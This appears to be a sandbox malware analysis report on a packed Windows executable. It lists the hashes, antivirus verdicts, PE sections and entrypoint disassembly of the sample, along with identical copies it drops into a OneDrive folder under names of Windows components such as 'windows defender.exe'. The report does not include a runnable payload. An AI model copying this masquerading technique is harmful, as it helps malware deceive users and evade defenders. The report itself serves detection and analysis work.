File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\msecache.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\reference assemblies.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\reference assemblies.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\windows defender.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\windows defender.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\windows mail.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\windows mail.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\windows media player.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\windows media player.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\windows multimedia platform.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\windows multimedia platform.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\windows nt.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\windows nt.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\windows photo viewer.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\windows photo viewer.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\windows portable devices.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\windows portable devices.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\windows sidebar.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\windows sidebar.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\windowspowershell.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\windowspowershell.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9328592774034865
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	DQmU06kq9I.exe
File size:	1'763'328 bytes
MD5:	d37dab4c59e707f632bb0b91eaa87ff9
SHA1:	0e153debcf54805a0543646620511b57865d6fc9
SHA256:	375a067be10250dc045ea14025444ad7ec0662cf189abbbd393e6f7ffe85b35d
SHA512:	0ae81abbe56f0a20c8066c52672d969c962a20b19c7e7165b12c7b16a4f0681c4f96ce2cedde50ade5975ced262d581fc99d0947c188cec847c8a82eb85bc0ae
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
TLSH:	4185338AB8F1456DCC9E86B0431FD0C76BDE792C508221BDCB6060A4693276F6CA5BE5
File Content Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`................................

File Icon


Icon Hash:	889669d8d8299628

Static PE Info

General

Entrypoint:	0x85a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE
Time Stamp:	0x675E7DB5 [Sun Dec 15 06:56:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F729110560Ah
shufps xmm3, dqword ptr [edx], 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F7291107605h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x10055	0x69	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe000	0xcd8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x101f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x2000	0xc000	0x5400	6f7f93910a70242b7110e0a5798312cf	False	0.9950706845238095	data	7.964759279856404	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xe000	0xcd8	0xe00	0e166fb982c23b87e81342707752f30e	False	0.33175223214285715	data	3.8103289780727865	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x10000	0x2000	0x200	c5fa453236d44d94fedf773411bc9006	False	0.150390625	data	0.9342685949460681	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x12000	0x2a2000	0x200	2f858a1ba3c1b1add9d83a0de4b4e4af	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fsrfimey	0x2b4000	0x1a4000	0x1a3c00	61df25f4ba7966b0342595c001aa689f	False	0.9949264117406195	data	7.953315584919624	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mhpawist	0x458000	0x2000	0x400	6fa68b4dc94bf991144fa8891d94fcf0	False	0.80078125	data	6.274634545404948	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x45a000	0x4000	0x2200	3c08f71781e751512be92420a1a33dc5	False	0.0625	DOS executable (COM)	0.7178556540423161	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xe130	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 0	0.299390243902439
RT_GROUP_ICON	0xe798	0x14	data	1.1
RT_VERSION	0xe7ac	0x394	OpenPGP Secret Key	0.39192139737991266
RT_MANIFEST	0xeb40	0x198	ASCII text, with CRLF line terminators	0.5833333333333334

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

